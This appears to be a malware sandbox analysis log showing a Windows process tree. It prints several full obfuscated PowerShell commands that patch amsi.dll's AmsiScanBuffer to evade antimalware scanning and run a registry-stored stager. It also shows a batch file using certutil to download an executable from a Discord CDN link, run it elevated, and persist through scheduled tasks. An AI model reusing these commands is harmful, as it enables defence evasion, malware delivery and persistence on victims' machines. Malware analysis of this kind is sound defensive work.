C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:lqxsMvNXCJXA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$mQjzuTVsjjmEnx,[Parameter(Position=1)][Type]$RLJwkUFXHu)$QFQuQvFsDcq=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+''+'l'+''+[Char](101)+''+'c'+''+[Char](116)+''+'e'+'d'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+'g'+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+'e'+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+'o'+[Char](100)+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+'t'+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'',''+'C'+''+[Char](108)+''+'a'+'s'+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+'i'+'c'+''+','+''+[Char](83)+'eal'+'e'+''+[Char](100)+''+','+''+'A'+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+'la'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+'t'+'o'+''+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$QFQuQvFsDcq.DefineConstructor(''+[Char](82)+''+'T'+'S'+[Char](112)+''+'e'+''+'c'+''+'i'+''+[Char](97)+''+[Char](108)+''+'N'+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+'Hi'+'d'+''+[Char](101)+''+'B'+'y'+'S'+''+'i'+''+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$mQjzuTVsjjmEnx).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+'g'+[Char](101)+''+[Char](100)+'');$QFQuQvFsDcq.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+''+'e'+'',''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'ic,'+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+'S'+[Char](108)+''+[Char](111)+'t'+[Char](44)+'V'+[Char](105)+'r'+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$RLJwkUFXHu,$mQjzuTVsjjmEnx).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'t'+'i'+'m'+[Char](101)+''+','+''+[Char](77)+'a'+'n'+'a'+[Char](103)+''+'e'+'d');Write-Output $QFQuQvFsDcq.CreateType();}$ltSDtKgFSuwKM=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+''+'t'+''+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+'of'+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n3'+'2'+''+[Char](46)+''+'U'+''+[Char](110)+''+'s'+''+[Char](97)+''+[Char](102)+''+'e'+''+'N'+''+[Char](97)+''+'t'+''+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+'t'+''+[Char](104)+''+'o'+''+[Char](100)+'s');$yUpEAaXqFhkTCS=$ltSDtKgFSuwKM.GetMethod('G'+[Char](101)+''+[Char](116)+'P'+[Char](114)+'o'+[Char](99)+'Ad'+[Char](100)+'r'+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+'S'+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TswAYtxkcqDRGWMoNjC=lqxsMvNXCJXA @([String])([IntPtr]);$UlisTRKUYuwmqrYpXCOxbr=lqxsMvNXCJXA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$OiqYxYpiTSr=$ltSDtKgFSuwKM.GetMethod('G'+[Char](101)+''+[Char](116)+''+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+'an'+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'er'+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$fqRZaBDEeXTIPl=$yUpEAaXqFhkTCS.Invoke($Null,@([Object]$OiqYxYpiTSr,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$NSCOoqoVnWXgUkxhX=$yUpEAaXqFhkTCS.Invoke($Null,@([Object]$OiqYxYpiTSr,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+'ua'+[Char](108)+'P'+[Char](114)+''+'o'+''+[Char](116)+''+'e'+''+[Char](99)+'t')));$GiJlxMb=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fqRZaBDEeXTIPl,$TswAYtxkcqDRGWMoNjC).Invoke(''+[Char](97)+'m'+[Char](115)+''+'i'+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$NujfQZjjToarEdnCb=$yUpEAaXqFhkTCS.Invoke($Null,@([Object]$GiJlxMb,[Object](''+[Char](65)+'m'+[Char](115)+''+[Char](105)+''+[Char](83)+''+'c'+''+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+'fe'+[Char](114)+'')));$iYqkhgXHxV=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NSCOoqoVnWXgUkxhX,$UlisTRKUYuwmqrYpXCOxbr).Invoke($NujfQZjjToarEdnCb,[uint32]8,4,[ref]$iYqkhgXHxV);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$NujfQZjjToarEdnCb,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NSCOoqoVnWXgUkxhX,$UlisTRKUYuwmqrYpXCOxbr).Invoke($NujfQZjjToarEdnCb,[uint32]8,0x20,[ref]$iYqkhgXHxV);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+[Char](84)+''+'W'+''+'A'+''+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+'7'+[Char](55)+''+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2960 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:wbgEfUEgQpbt{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$HdCwuzJjZOcQfb,[Parameter(Position=1)][Type]$DPKebSinUV)$CBcdWrOBfXO=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+'ect'+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+'g'+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+'M'+'y'+'D'+'e'+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'',''+'C'+'l'+[Char](97)+''+[Char](115)+'s'+','+'P'+'u'+''+'b'+'l'+[Char](105)+''+'c'+''+','+'S'+[Char](101)+''+[Char](97)+''+'l'+'e'+'d'+','+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+''+','+''+'A'+'ut'+[Char](111)+''+[Char](67)+'l'+[Char](97)+'s'+'s'+'',[MulticastDelegate]);$CBcdWrOBfXO.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+'Na'+[Char](109)+'e,'+'H'+'id'+[Char](101)+'BySig'+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$HdCwuzJjZOcQfb).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');$CBcdWrOBfXO.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'i'+'c'+''+','+'Hi'+[Char](100)+'e'+[Char](66)+'yS'+[Char](105)+''+[Char](103)+''+[Char](44)+'N'+[Char](101)+''+'w'+''+'S'+''+'l'+''+'o'+'t'+[Char](44)+'V'+'i'+'r'+'t'+'ua'+'l'+'',$DPKebSinUV,$HdCwuzJjZOcQfb).SetImplementationFlags(''+'R'+'un'+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+'an'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $CBcdWrOBfXO.CreateType();}$CPaortkewPSgv=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+'t'+'e'+'m.'+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+'f'+'t'+''+[Char](46)+'W'+[Char](105)+'n'+[Char](51)+'2'+[Char](46)+''+'U'+''+[Char](110)+'s'+[Char](97)+''+'f'+''+[Char](101)+''+'N'+''+[Char](97)+''+'t'+''+[Char](105)+''+'v'+''+[Char](101)+''+'M'+''+[Char](101)+''+'t'+''+[Char](104)+''+[Char](111)+''+'d'+'s');$fsRmvIcauFVKmp=$CPaortkewPSgv.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+''+'s'+'s',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$bgKWlErDuvmufFZprOx=wbgEfUEgQpbt @([String])([IntPtr]);$iUDMmIQKfDlJDeaiqgxieT=wbgEfUEgQpbt @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$GzHMRtuPyHq=$CPaortkewPSgv.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+'o'+''+'d'+''+[Char](117)+'l'+'e'+'H'+[Char](97)+''+'n'+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+'e'+'r'+'n'+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$mQGULqrsifTofr=$fsRmvIcauFVKmp.Invoke($Null,@([Object]$GzHMRtuPyHq,[Object](''+'L'+'oa'+'d'+''+'L'+''+[Char](105)+'br'+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$nmXFImWCSkNLDoeom=$fsRmvIcauFVKmp.Invoke($Null,@([Object]$GzHMRtuPyHq,[Object](''+[Char](86)+''+'i'+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$nXwrlwj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mQGULqrsifTofr,$bgKWlErDuvmufFZprOx).Invoke(''+'a'+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+'d'+'l'+''+'l'+'');$bTkndDOtHvcNqYWyw=$fsRmvIcauFVKmp.Invoke($Null,@([Object]$nXwrlwj,[Object]('A'+[Char](109)+'si'+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+'f'+[Char](102)+'er')));$FXWyOhGZuc=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nmXFImWCSkNLDoeom,$iUDMmIQKfDlJDeaiqgxieT).Invoke($bTkndDOtHvcNqYWyw,[uint32]8,4,[ref]$FXWyOhGZuc);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$bTkndDOtHvcNqYWyw,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nmXFImWCSkNLDoeom,$iUDMmIQKfDlJDeaiqgxieT).Invoke($bTkndDOtHvcNqYWyw,[uint32]8,0x20,[ref]$FXWyOhGZuc);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+''+[Char](84)+'W'+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+'7'+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+'a'+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4844 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:864
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:sfJDnxkwbOlf{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$fPwaRqwiqtRUZP,[Parameter(Position=1)][Type]$HNYnrhDXXc)$HKipAMZOEXk=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+'el'+'e'+''+'g'+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'emo'+'r'+'y'+'M'+'od'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+'e'+'l'+'e'+''+'g'+'a'+'t'+'eT'+[Char](121)+''+[Char](112)+''+'e'+'',''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+','+'P'+''+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'e'+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+'n'+''+'s'+''+'i'+''+'C'+''+[Char](108)+''+'a'+'s'+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$HKipAMZOEXk.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+'pe'+'c'+'i'+'a'+''+'l'+''+[Char](78)+''+[Char](97)+''+'m'+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$fPwaRqwiqtRUZP).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+'t'+'i'+''+'m'+''+[Char](101)+','+[Char](77)+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+'e'+'d'+'');$HKipAMZOEXk.DefineMethod(''+'I'+'n'+'v'+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+'i'+[Char](100)+'e'+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+'al',$HNYnrhDXXc,$fPwaRqwiqtRUZP).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+','+'M'+''+'a'+''+[Char](110)+'a'+'g'+'e'+'d'+'');Write-Output $HKipAMZOEXk.CreateType();}$PBeWfvrjqDoaN=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+'m'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+'r'+'o'+[Char](115)+'o'+[Char](102)+''+[Char](116)+'.'+'W'+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+'.U'+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+'e'+'N'+''+'a'+'t'+[Char](105)+''+[Char](118)+'e'+'M'+''+[Char](101)+''+'t'+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$oWSjFBSEKLKtyQ=$PBeWfvrjqDoaN.GetMethod(''+'G'+''+[Char](101)+''+'t'+'Proc'+'A'+''+'d'+''+[Char](100)+''+[Char](114)+''+'e'+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+'t'+[Char](97)+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$qJuNgZBpdjFuZdfvRMv=sfJDnxkwbOlf @([String])([IntPtr]);$dJKlyrsXwOpJaTNmfEOffH=sfJDnxkwbOlf @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$NzpoDbIUFkF=$PBeWfvrjqDoaN.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+[Char](114)+'n'+'e'+'l'+[Char](51)+'2.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$klNqabyMuOAgMe=$oWSjFBSEKLKtyQ.Invoke($Null,@([Object]$NzpoDbIUFkF,[Object]('L'+[Char](111)+'adL'+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$MZRxlQGJbaUaIANgs=$oWSjFBSEKLKtyQ.Invoke($Null,@([Object]$NzpoDbIUFkF,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$yzxgbZK=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($klNqabyMuOAgMe,$qJuNgZBpdjFuZdfvRMv).Invoke(''+[Char](97)+''+[Char](109)+'s'+'i'+'.'+[Char](100)+''+'l'+''+[Char](108)+'');$jQSNinbNznilzubiD=$oWSjFBSEKLKtyQ.Invoke($Null,@([Object]$yzxgbZK,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+'c'+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+'f'+'f'+[Char](101)+''+'r'+'')));$IRZDOunEvt=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MZRxlQGJbaUaIANgs,$dJKlyrsXwOpJaTNmfEOffH).Invoke($jQSNinbNznilzubiD,[uint32]8,4,[ref]$IRZDOunEvt);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$jQSNinbNznilzubiD,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MZRxlQGJbaUaIANgs,$dJKlyrsXwOpJaTNmfEOffH).Invoke($jQSNinbNznilzubiD,[uint32]8,0x20,[ref]$IRZDOunEvt);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+'TW'+[Char](65)+'R'+'E'+'').GetValue(''+'$'+''+[Char](55)+'7'+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
PID:2204 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3864
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1148
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1160
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1176
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1192
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1320
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1348
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1368
-
C:\Windows\system32\sihost.exesihost.exe2⤵PID:2808
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1428
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1596
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1604
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1644
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1716
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1756
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1764
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1856
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1992
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2000
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2036
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1620
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1796
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2072
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2188
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2244
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2500
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2508
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2696
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2712
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2756
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2772
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2792
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2852
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3056
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3124
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3412
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3500
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fix.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:1488 -
C:\Windows\system32\certutil.execertutil -urlcache -split -f "https://cdn.discordapp.com/attachments/1237881664131174481/1239282786335064204/BoostBot.exe?ex=66425b89&is=66410a09&hm=76121e524db94e51397af0fa52812c443a6cb5a194da52bb2909deb394f90aee&" BoostBot.exe3⤵PID:1728
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Process -FilePath 'BoostBot.exe' -Verb RunAs"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2452 -
C:\Users\Admin\AppData\Local\Temp\BoostBot.exe"C:\Users\Admin\AppData\Local\Temp\BoostBot.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4872 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\BoostBot.exe" /rl HIGHEST /f5⤵
- Creates scheduled task(s)
PID:1220 -
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1300 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f6⤵
- Creates scheduled task(s)
PID:736 -
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"6⤵
- Executes dropped EXE
PID:1964 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /delete /tn "$sxr-powershell" /f6⤵PID:4468
-
